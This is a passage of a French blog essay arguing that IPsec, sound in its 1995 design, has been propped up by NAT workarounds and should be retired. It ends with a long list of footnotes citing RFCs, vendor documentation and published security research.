un réseau NAT64 ne le portera pas du tout, ou à quoi sert vraiment cet octet unique toutes les vingt secondes — alors non. Pas là-dessus, pas encore. Vous ne choisissez pas un protocole. Vous répétez une forme, parce que la précédente ressemblait à ça et que personne dans la pièce n\u0026rsquo;a demandé pourquoi — vous compris. Le manquement n\u0026rsquo;est pas la lacune. Tout le monde en a. Le manquement, c\u0026rsquo;est de construire par-dessus une lacune que vous n\u0026rsquo;êtes jamais allé combler. De ce fait, la personne qui en hérite en 2035 récupère une décennie de tickets qui étaient tous évitables le jour où vous l\u0026rsquo;avez dessiné.\nEt je vais lui donner son vrai nom, parce que la version polie circule depuis vingt ans et n\u0026rsquo;a rien changé. Quelqu\u0026rsquo;un qui déploie un protocole qu\u0026rsquo;il ne sait pas expliquer n\u0026rsquo;est pas un ingénieur. C\u0026rsquo;est un suiveur. Il lit des fiches — l\u0026rsquo;architecture de référence de l\u0026rsquo;éditeur, la dernière demande de changement, un schéma que quelqu\u0026rsquo;un a tracé en 2014 et que personne n\u0026rsquo;a rouvert depuis — et il les lit avec une vraie conviction, et il n\u0026rsquo;y a aucune compréhension derrière la prestation. Vu de l\u0026rsquo;extérieur, cela ressemble exactement à de la compétence. Cela continue de ressembler exactement à de la compétence jusqu\u0026rsquo;à la première panne que les fiches ne couvrent pas, et à partir de cette seconde-là c\u0026rsquo;est la seule chose qui compte dans la pièce.\nLes fiches sont aussi la raison pour laquelle ce protocole est encore là. Personne ne s\u0026rsquo;est levé devant un tableau blanc en 2026 pour défendre IPsec sur le fond. Il a été redéployé parce qu\u0026rsquo;il était sur la fiche, et la fiche a été écrite par un éditeur dont l\u0026rsquo;intérêt est que vous continuiez à acheter le boîtier qui le termine. C\u0026rsquo;est ainsi qu\u0026rsquo;une chose survit vingt ans à sa propre notice nécrologique : non pas en étant défendue, mais en n\u0026rsquo;ayant jamais eu à se justifier une seule fois devant quelqu\u0026rsquo;un capable de faire la différence.\nEt cela se dit. À voix haute, dans la pièce, sur le moment — pas marmonné dans le couloir après coup. Quand quelqu\u0026rsquo;un met le mot professionnel à côté de son nom, le mot arrive avec une invitation à être interrogé, et interroger n\u0026rsquo;est pas impoli. Être interrogé et avoir une réponse, c\u0026rsquo;est toute la différence entre le mot et une carte de visite.\nCela compte surtout quand vous payez pour cela. Un cabinet de conseil, un MSP, la branche services professionnels d\u0026rsquo;un éditeur, l\u0026rsquo;intégrateur d\u0026rsquo;un accord-cadre : ce que vous achetez, c\u0026rsquo;est du jugement, et le jugement est la seule chose que vous ne pouvez pas inspecter à la livraison. Alors inspectez-le avant. Demandez pourquoi ce protocole plutôt qu\u0026rsquo;un autre. Demandez ce qu\u0026rsquo;il devient sur une ligne derrière un NAT d\u0026rsquo;opérateur, sur un réseau mobile IPv6 seul, sur un chemin qui jette silencieusement les fragments. Demandez lesquels ils ont personnellement rencontrés et ce qu\u0026rsquo;ils en ont fait. Vous saurez en moins de deux minutes si on vous dit quelque chose ou si on vous fait la lecture, et deux minutes coûtent nettement moins cher que quatre ans de tickets. Et si la réponse tient sur des fiches et que vous signez quand même, c\u0026rsquo;est aussi une décision : elle vient simplement de devenir la vôtre et non la leur.\nSi vous pouvez dire tout cela et que vous le déployez quand même parce qu\u0026rsquo;un régulateur le nomme par protocole, parce que le boîtier du partenaire ne termine rien d\u0026rsquo;autre, ou parce que le remplaçant est au budget de l\u0026rsquo;année prochaine et que ceci doit marcher en mars — alors oui, évidemment, et vous faites le travail correctement. Les contraintes sont réelles, et j\u0026rsquo;ai contourné pire. Ce qui sépare les deux n\u0026rsquo;est pas le protocole sur le schéma. C\u0026rsquo;est d\u0026rsquo;avoir écrit pourquoi, et qu\u0026rsquo;il y ait une date à côté.\nLa position indéfendable est celle du milieu. En savoir assez pour être mal à l\u0026rsquo;aise, et le construire quand même parce que personne ne vous a obligé à le justifier. Pas de l\u0026rsquo;ingénierie. De l\u0026rsquo;habitude, avec un numéro de changement dessus — et c\u0026rsquo;est exactement comme ça que L2TP s\u0026rsquo;est retrouvé sur une fiche technique imprimée cette année.\nPosez-vous donc la question avant la clôture de l\u0026rsquo;appel d\u0026rsquo;offres, pas après. Professionnel n\u0026rsquo;est pas un mot sur les protocoles que vous connaissez. C\u0026rsquo;est un mot sur votre capacité à défendre celui que vous avez choisi, à voix haute, devant quelqu\u0026rsquo;un qui en connaît les modes de panne. Si vous le pouvez, déployez ce que les contraintes exigent et dormez bien. Sinon, vous venez de trouver ce qu\u0026rsquo;il faut aller lire ce soir, et ce n\u0026rsquo;est pas une insulte. Tout le monde a été suiveur un jour, sans exception, moi compris. Ce qui n\u0026rsquo;est pas défendable, c\u0026rsquo;est de choisir de le rester et d\u0026rsquo;appeler cela une carrière.\nUne bonne idée a le droit d\u0026rsquo;être terminée Je veux être juste envers IPsec, parce qu\u0026rsquo;il le mérite.\nC\u0026rsquo;était le bon instinct. La sécurité a sa place bas dans la pile, là où tout en hérite et où aucune application n\u0026rsquo;a besoin qu\u0026rsquo;on lui fasse confiance pour bien faire. Lier l\u0026rsquo;association à l\u0026rsquo;adresse n\u0026rsquo;était pas une erreur en 1995 — l\u0026rsquo;adresse était la machine, et bâtir là-dessus était juste. Ceux qui l\u0026rsquo;ont écrit étaient des gens sérieux face à un vrai problème, et c\u0026rsquo;est l\u0026rsquo;article sur WireGuard, de tous les documents, qui le dit le mieux : la stratification d\u0026rsquo;IPsec est saine, tout est à sa place, jusqu\u0026rsquo;à la perfection académique53.\nPuis le sol a bougé. Non pas parce qu\u0026rsquo;IPsec a mal fait quoi que ce soit, mais parce que ce secteur a décidé que les adresses étaient un coût à gérer plutôt qu\u0026rsquo;une chose que chaque machine reçoit, et a bâti vingt-cinq ans de traduction pour éviter l\u0026rsquo;alternative. On a discrètement retiré à IPsec ses fondations et, plutôt que de l\u0026rsquo;admettre, on a calé dessous. Encapsulation UDP. Puis keepalives. Puis encapsulation TCP pour les réseaux qui bloquent l\u0026rsquo;UDP. Puis encore un en-tête UDP pour qu\u0026rsquo;un routeur trouve quelque chose à hacher. Chaque correctif raisonnable pris isolément ; leur empilement est un protocole tenu debout par des gens payés pour le tenir debout.\nC\u0026rsquo;est la partie qui vaut la colère, et elle ne parle pas vraiment d\u0026rsquo;IPsec. Notre secteur est très bon pour entretenir les choses et très mauvais pour y mettre fin. L\u0026rsquo;entretien est facturable, budgété, doté en personnel et sans risque. La mise à la retraite est une décision que quelqu\u0026rsquo;un doit signer, avec son nom dessus, et sans récompense immédiate. Alors PPTP a vécu quatorze ans après la preuve de son inutilité, L2TP est encore livré sur des boîtiers vendus cette année, et IKEv1 a continué de négocier des tunnels une décennie après son passage en Historic. Non pas parce que quelqu\u0026rsquo;un les défendait. Parce que personne n\u0026rsquo;a jamais été tenu de les tuer.\nIl n\u0026rsquo;y a pas de prix pour avoir 90 % de juste. Ferguson et Schneier l\u0026rsquo;ont écrit d\u0026rsquo;IPsec en 1999, et ce qui s\u0026rsquo;est passé depuis, ce sont trente ans pendant lesquels le secteur s\u0026rsquo;est trompé sur les 10 % restants d\u0026rsquo;une manière nouvelle à chaque fois en appelant le rustinage une solution.\nUne bonne idée a le droit d\u0026rsquo;être terminée. Savoir quand cesser d\u0026rsquo;entretenir quelque chose est une compétence, et c\u0026rsquo;est celle où ce métier est le plus mauvais. Il faut bien que quelqu\u0026rsquo;un soit celui qui dit qu\u0026rsquo;un protocole a fait son temps, écrit la date et assume les conséquences d\u0026rsquo;avoir été celui qui l\u0026rsquo;a dit. Sinon nous enverrons encore en 2040 un paquet d\u0026rsquo;un octet toutes les vingt secondes, pour garder au chaud une table dans un boîtier qui ne nous appartient pas, sur un réseau qui nous a pris nos adresses et nous les a facturées.\nRFC 4301 — Security Architecture for the Internet Protocol, décembre 2005. Définit l\u0026rsquo;association de sécurité et le triplet qui sert à la retrouver : adresse de destination, protocole de sécurité et SPI.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 4302 — IP Authentication Header, décembre 2005. Le contrôle d\u0026rsquo;intégrité d\u0026rsquo;AH couvre les champs immuables de l\u0026rsquo;en-tête IP, adresses source et destination comprises.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 9329 — TCP Encapsulation of Internet Key Exchange Protocol (IKE) and IPsec Packets, novembre 2022, qui remplace la RFC 8229. Existe parce que des intermédiaires sur les réseaux publics bloquent l\u0026rsquo;UDP.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 3715 — IPsec-Network Address Translation (NAT) Compatibility Requirements, mars 2004. Seize incompatibilités énumérées, dont : « Since the AH header incorporates the IP source and destination addresses in the keyed message integrity check, NAT or reverse NAT devices making changes to address fields will invalidate the message integrity check. » et « Where IP addresses are used as identifiers in Internet Key Exchange Protocol (IKE) Phase 1 or Phase 2, modification of the IP source or destination addresses by NATs or reverse NATs will result in a mismatch between the identifiers and the addresses in the IP header. »\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nCisco — Configuring IPsec NAT-Traversal, Security Configuration Guide, Cisco IOS XE 17.15.x (Catalyst 9300 Switches). « If PAT found a legislative IP address and port, it would drop the Encapsulating Security Payload (ESP) packet » ; l\u0026rsquo;en-tête UDP et un marqueur non-IKE de huit octets sont insérés entre l\u0026rsquo;en-tête IP externe et l\u0026rsquo;en-tête ESP ; la liste de restrictions mentionne des règles statiques pour les ports 500 et 4500, l\u0026rsquo;absence de prise en charge des politiques de NAT dynamique, l\u0026rsquo;absence d\u0026rsquo;IPv6, et le fait qu\u0026rsquo;IPsec et NAT ne peuvent pas fonctionner tous les deux sur le même équipement.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 3948 — UDP Encapsulation of IPsec ESP Packets, janvier 2005, avec la négociation dans la RFC 3947. Définit le keepalive comme « a one-octet-long payload with the value 0xFF », envoyé « if no other packet to the peer has been sent in M seconds. M is a locally configurable parameter with a default value of 20 seconds. », et exige la mise à zéro de la somme de contrôle UDP : « If the protocol header after the ESP header is a UDP header, set the checksum field to zero in the UDP header. » Microsoft, Cisco, F-Secure, Nortel et SafeNet figurent tous sur les listes d\u0026rsquo;auteurs des RFC 3947 et 3948.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nJuniper — Route-Based and Policy-Based VPNs with NAT-T, Junos OS IPsec VPN User Guide. « NAT-T encapsulates both IKE and ESP traffic within UDP with port 4500 used as both the source and destination port » ; « Because NAT devices age out stale UDP translations, keepalive messages are required between the peers » ; et sur SRX5400, SRX5600 et SRX5800 : « the total number of tunnels from a given public translated IP cannot exceed 1000 tunnels. »\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 8221 — Cryptographic Algorithm Implementation Requirements and Usage Guidance for ESP and AH, octobre 2017. ENCR_DES MUST NOT, ENCR_3DES SHOULD NOT, AUTH_HMAC_MD5_96 MUST NOT ; ESP combiné à AH est NOT RECOMMENDED.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 4787 — Network Address Translation (NAT) Behavioral Requirements for Unicast UDP, janvier 2007. REQ-5 : « A NAT UDP mapping timer MUST NOT expire in less than two minutes », avec « a default value of five minutes or more for the NAT UDP mapping timer is RECOMMENDED ».\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 6146 — Stateful NAT64 : Network Address and Protocol Translation from IPv6 Clients to IPv4 Servers, avril 2011. « The current specification only defines how stateful NAT64 translates unicast packets carrying TCP, UDP, and ICMP traffic. Multicast packets and other protocols, including the Stream Control Transmission Protocol (SCTP), the Datagram Congestion Control Protocol (DCCP), and IPsec, are out of the scope of this specification. » Les paquets portant autre chose « SHOULD be discarded ».\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 6877 — 464XLAT : Combination of Stateful and Stateless Translation, avril 2013. Donne à un équipement IPv6 seul une pile IPv4 locale pour que fonctionne le trafic que NAT64 ne peut pas transporter.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nIETF — draft-xu-ipsecme-esp-in-udp-lb, Encapsulating IPsec ESP in UDP for Load-balancing. « Although the ESP SPI field within the IPsec packets can be used as the load-balancing key, but it cannot be used by legacy switches and routers » ; « Many cloud service providers allow customers to establish multiple IPsec VPN tunnels in parallel to enable ECMP and increase aggregate bandwidth. However, this approach is not ideal, as each tunnel typically requires its own public IP address, leading to higher public IP consumption and increased operational overhead. »\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nCisco — Resolve IPv4 Fragmentation, MTU, MSS, and PMTUD Issues with GRE and IPsec. La référence maintenue de longue date sur le surcoût des tunnels, la découverte de MTU de chemin et ce qui casse quand les erreurs ICMP ne reviennent pas.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nCisco — Troubleshoot IPsec Anti-Replay Check Failures. « Certain QoS features, such as Low Latency Queueing (LLQ), could cause IPsec packet delivery to become out-of-order and dropped by the receiving endpoint due to a replay check failure. » Fenêtre par défaut de 64 paquets ; 1024 sur les plateformes plus récentes ; l\u0026rsquo;autre remède est l\u0026rsquo;usage de plusieurs espaces de numéros de séquence par association.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 2661 — Layer Two Tunneling Protocol « L2TP », août 1999. Un protocole de tunnel pour PPP, sans confidentialité propre au niveau du paquet ; sa section sécurité renvoie à IPsec.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nMoxie Marlinspike et David Hulton — Divide and Conquer : Cracking MS-CHAPv2 with a 100 % Success Rate, 2012 ; outil sur github.com/moxie0/chapcrack. La sécurité de MS-CHAPv2 se réduit à une seule opération DES quelle que soit la longueur du mot de passe ; compte rendu de l\u0026rsquo;époque dans The Register. Leur conclusion était de considérer le trafic PPTP comme non chiffré.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nApple — If you see a « VPN Using PPTP May Not Be Secure » alert. PPTP a été retiré du client intégré de macOS Sierra et d\u0026rsquo;iOS 10 en 2016.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 4303 — IP Encapsulating Security Payload (ESP), décembre 2005. Protocole IP 50 ; l\u0026rsquo;en-tête ESP porte le SPI et le numéro de séquence, et n\u0026rsquo;a aucun champ de port.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 9395 — Deprecation of the Internet Key Exchange Version 1 (IKEv1) Protocol and Obsolete Cryptographic Algorithms, avril 2023. « Internet Key Exchange Version 1 (IKEv1) has been deprecated, and RFCs 2407, 2408, and 2409 have been moved to Historic status. »\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 7296 — Internet Key Exchange Protocol Version 2 (IKEv2), octobre 2014. L\u0026rsquo;échange de clés actuel, et la source des noms de notification du tableau de diagnostic.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 3173 — IP Payload Compression Protocol (IPComp), septembre 2001. Son propre numéro de protocole IP et ses propres associations, négociées à côté d\u0026rsquo;ESP.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 2367 — PF_KEY Key Management API, Version 2, juillet 1998. L\u0026rsquo;interface noyau par laquelle un démon de clés installe les associations.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 7383 — IKEv2 Message Fragmentation, novembre 2014. « This document describes a way to avoid IP fragmentation of large Internet Key Exchange Protocol version 2 (IKEv2) messages. »\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 4555 — IKEv2 Mobility and Multihoming Protocol (MOBIKE), juin 2006. Permet à un tunnel établi de survivre à un changement d\u0026rsquo;adresse.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 3706 — A Traffic-Based Method of Detecting Dead Internet Key Exchange (IKE) Peers, février 2004.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\ndraft-beaulieu-ike-xauth — Extended Authentication within IKE (XAUTH). Dernière révision 02, octobre 2001, statut Expired, « Expired \u0026amp; archived », jamais publié en RFC. Le projet consigne qu\u0026rsquo;il était proposé en Informational parce que « the IPSRA working group will not accept any protocol which extends ISAKMP or IKE, and the IPsec working group refuses to accept any protocols that deal with remote access. » Mode-Config a connu le même sort.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 3193 — Securing L2TP using IPsec, novembre 2001. Coécrite chez Microsoft.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 2332 — NBMA Next Hop Resolution Protocol (NHRP), avril 1998. La pièce qui permet aux branches DMVPN de se trouver.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 6407 — The Group Domain of Interpretation, octobre 2011. Les clés de groupe, telles qu\u0026rsquo;utilisées par GETVPN.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 2637 — Point-to-Point Tunneling Protocol (PPTP), juillet 1999. Catégorie : Informational. Un protocole de constructeur mis par écrit, jamais une norme.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nMicrosoft — Configure L2TP/IPsec server behind NAT-T device, KB 926179, révisé pour la dernière fois le 12 février 2026. « By default, Windows Vista and Windows Server 2008 don\u0026rsquo;t support Internet Protocol security (IPsec) network address translation (NAT) Traversal (NAT-T) security associations to servers that are located behind a NAT device » ; la valeur DWORD AssumeUDPEncapsulationContextOnSendRule sous HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\PolicyAgent accepte 0 (défaut, impossible), 1 (serveur derrière un NAT) ou 2 (les deux bouts derrière un NAT), et la machine doit redémarrer. Également : « If you must use IPsec for communication, use public IP addresses for all servers that you can connect to from the Internet. »\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nstrongSwan — Windows Certificate Requirements. Le certificat de la passerelle a besoin de l\u0026rsquo;EKU serverAuth, OID 1.3.6.1.5.5.7.3.1, et de l\u0026rsquo;EKU IP Security IKE Intermediate, OID 1.3.6.1.5.5.8.2.2.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nstrongSwan — Windows Clients. Documente l\u0026rsquo;ajout du DWORD NegotiateDH2048_AES256 sous Rasman\\Parameters pour obtenir AES-256-CBC et MODP-2048 ; le contournement du renouvellement de clés pour les clients derrière un NAT (rekey_time = 0 sur la passerelle, le client initie) ; et le fait que le client Windows « does not currently support IKE redirection (RFC 5685) and multiple authentication rounds (RFC 4739) ». Également : « IKEv2 fragmentation is supported since the v1803 release of Windows 10 and Windows Server », et les clients derrière un NAT refusent un renouvellement de CHILD_SA lancé par le serveur avec l\u0026rsquo;erreur Microsoft 13863.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nMicrosoft — DirectAccess et Remote Access Always On VPN migration overview. DirectAccess est déprécié et sera retiré d\u0026rsquo;une version future de Windows Server ; les clients sont dirigés vers Always On VPN.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nJean Paul Degabriele et Kenneth G. Paterson — Attacking the IPsec Standards in Encryption-only Configurations, IEEE Symposium on Security and Privacy, 2007. Des attaques qui « break any RFC-compliant implementation of IPsec making use of encryption-only ESP », à partir du seul texte chiffré, n\u0026rsquo;exigeant que d\u0026rsquo;écouter le trafic et d\u0026rsquo;injecter des paquets.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 6434 — IPv6 Node Requirements, décembre 2011. « Previously, IPv6 mandated implementation of IPsec and recommended the key management approach of IKE. This document updates that recommendation by making support of the IPsec Architecture [RFC4301] a SHOULD for all IPv6 nodes. »\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nNiels Ferguson et Bruce Schneier — A Cryptographic Evaluation of IPsec, Counterpane Internet Security, 1999. « IPsec was a great disappointment to us » ; « Our main criticism of IPsec is its complexity » ; « We therefore recommend that transport mode be eliminated » ; « We conclude that eliminating transport mode allows the elimination of the AH protocol as well, without loss of functionality » ; et « We have found serious security weaknesses in all major components of IPsec. As always in security, there is no prize for getting 90% right; you have to get everything right. »\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nDavid Adrian et al. — Imperfect Forward Secrecy : How Diffie-Hellman Fails in Practice, ACM CCS 2015. Un précalcul pour un deuxième groupe de 1024 bits « would allow decryption of traffic to 66% of IPsec VPNs » ; 86,1 % des serveurs IKEv1 scannés et 91,0 % des IKEv2 supportaient le groupe Oakley 2, et 66,1 % des serveurs IKEv1 profilés le préféraient.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nCVE-2016-1287 et l\u0026rsquo;avis de Cisco, Cisco ASA Software IKEv1 and IKEv2 Buffer Overflow Vulnerability. Exécution de code à distance avant authentification, atteinte par des paquets UDP forgés vers le service IKE.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nJuniper — How to Analyze IKE Phase 2 VPN Status Messages. « No proposal chosen » signifie que l\u0026rsquo;équipement « did not accept any of the IKE Phase 2 proposals that the peer sent ».\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nCisco — Understand and Use Debug Commands to Troubleshoot IPsec et Troubleshoot Common L2L and Remote Access IPsec VPN Issues.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nJuniper — Troubleshoot a VPN Tunnel That is Down.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nNoyau Linux — XFRM proc counters. Les descriptions du tableau proviennent de la documentation du noyau elle-même.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nJuniper — Troubleshoot a VPN That Is Up But Not Passing Traffic. « If only the pkts counter in the out direction of the session is incrementing, then validate with the VPN peer that the traffic is being received. »\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nMicrosoft — netsh wfp, Windows Commands. netsh wfp capture start « Starts a capture session for network events processed by WFP » et écrit wfpdiag.cab par défaut ; netsh wfp show state « Displays the current state of WFP and IPsec » ; netsh wfp show ikeevents « Displays recent Internet Key Exchange (IKE) epoch events matching the specified parameters » et accepte un filtre remoteaddr=. Avec file=-, chaque show écrit sur la console au lieu de produire du XML.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nMicrosoft — Get-NetIPsecQuickModeSA, module NetSecurity. « There is only one main mode SA between a pair of computers, but there can be many quick mode SAs », et leur surveillance « can provide information about which peers are currently connected to this computer, and which protection suite is protecting the data exchanged between them ».\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nMicrosoft — Troubleshoot Always On VPN, dernière révision le 12 février 2026. Sur la lecture des journaux client : « look for events labeled RasClient. All error messages return the error code at the end of the message. » Cause de l\u0026rsquo;erreur 809 : « You can encounter this issue when the UDP 500 or 4500 ports on the VPN server or firewall are blocked. » L\u0026rsquo;erreur 812 est un désaccord de méthode d\u0026rsquo;authentification entre la stratégie du serveur et le profil du client. Les quatre causes listées pour 13801 sont un certificat machine sans Server Authentication dans l\u0026rsquo;utilisation étendue de clé, un certificat machine RAS expiré, un client sans le certificat racine, et un client dont le « VPN server name doesn\u0026rsquo;t match the subjectName value on the server certificate » ; 13806 est « IKE can\u0026rsquo;t find a valid machine certificate ».\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nMicrosoft — Guidance for troubleshooting Remote Access (VPN and AOVPN). La collecte prise en charge est TSS, exécutée en mode élevé : TSS.ps1 -Scenario NET_VPN sur le client et TSS.ps1 -Scenario NET_RAS sur le serveur, en reproduisant la panne entre le démarrage et l\u0026rsquo;arrêt, les traces étant écrites dans C:\\MS_DATA.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nMicrosoft — Routing and Remote Access Error Codes, les codes définis dans raserror.h. 638 ERROR_REQUEST_TIMEOUT ; 718 ERROR_PPP_TIMEOUT ; 789 ERROR_OAKLEY_GENERAL_PROCESSING, « The L2TP connection attempt failed because the security layer encountered a processing error during initial negotiations with the remote computer » ; 809 ERROR_VPN_TIMEOUT, « The network connection between your computer and the VPN server could not be established because the remote server is not responding » ; 828 ERROR_IDLE_TIMEOUT, « The connection was terminated because of idle timeout » ; 930 ERROR_AUTH_SERVER_TIMEOUT, « The authentication server did not respond to authentication requests in a timely fashion ».\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nfirewalld — Automatic Helper Assignment. « With kernel 4.7 and up the automatic helper assignment in kernel has been turned off by default », piloté par le sysctl sous /proc/sys/net/netfilter/nf_conntrack_helper, et « for the secure use of iptables and connection tracking helpers it is recommended to turn AutomaticHelpers off ». Le message du noyau sur ce changement donne la raison et le remplacement : l\u0026rsquo;affectation automatique « has been turned off for security reasons », utilisez plutôt la cible CT. Les assistants couverts comprennent ftp, irc, sip, h323, tftp, snmp et pptp.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nSamy Kamkar — NAT Slipstreaming, v1 du 31 octobre 2020, v2 du 26 janvier 2021 avec Ben Seri et Gregory Vishnipolsky d\u0026rsquo;Armis. L\u0026rsquo;attaque abuse du « Application Level Gateway (ALG) connection tracking mechanism built into NATs, routers, and firewalls » pour « bypass victim NAT and connect directly back to any port on any machine on the network, exposing previously protected/hidden services and systems ». La v1 utilisait la passerelle SIP sur le port 5060, la v2 H.323 sur 1720, ce qui permettait de viser le trou sur n\u0026rsquo;importe quel hôte interne et non plus seulement la machine ayant chargé la page.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nMicrosoft — Set-VpnServerConfiguration, module RemoteAccess. -IdleDisconnectSeconds « Specifies the time, in seconds, after which an idle connection is terminated » ; -SALifeTimeSeconds et -MMSALifeTimeSeconds fixent les durées de vie du mode rapide et du mode principal ; -SADataSizeForRenegotiationKilobytes « Specifies the number of kilobytes that are allowed to transfer using a security association (SA), after which the SA will be renegotiated ».\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nJason A. Donenfeld — WireGuard : Next Generation Kernel Network Tunnel, NDSS 2017. « It intentionally lacks cipher and protocol agility. If holes are found in the underlying primitives, all endpoints will be required to update. As shown by the continuing torrent of SSL/TLS vulnerabilities, cipher agility increases complexity monumentally » ; « implemented for Linux in less than 4,000 lines of code » ; « it is important to stress, however, that the layering of IPsec is correct and sound; everything is in the right place with IPsec, to academic perfection ». Mesures : 1 011 Mbit/s contre 881 et 825 pour deux suites de chiffrement IPsec, et 0,403 ms de ping contre 0,501 et 0,508.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n","permalink":"https://blogs.damiendye.uk/fr/networking/ipsec-was-a-good-idea-turn-it-off/","summary":"IPsec avait raison en 1995 : chiffrer sous l\u0026rsquo;application, lier l\u0026rsquo;association de sécurité à l\u0026rsquo;adresse IP, et chaque protocole en hérite. Puis le NAT est arrivé, le NAT d\u0026rsquo;opérateur a achevé le travail, et la solution a consisté à emballer le tout dans de l\u0026rsquo;UDP et à laisser tourner une minuterie pour qu\u0026rsquo;une table de traduction ne vous oublie pas. Ce billet montre schéma après schéma comment tout cela s\u0026rsquo;effondre — l\u0026rsquo;association de sécurité qui ne survit pas à un en-tête réécrit, les deux traducteurs que porte désormais toute ligne en CGNAT, la norme NAT64 qui exclut IPsec nommément, le tunnel qui ne peut pas utiliser un second lien parce qu\u0026rsquo;ESP 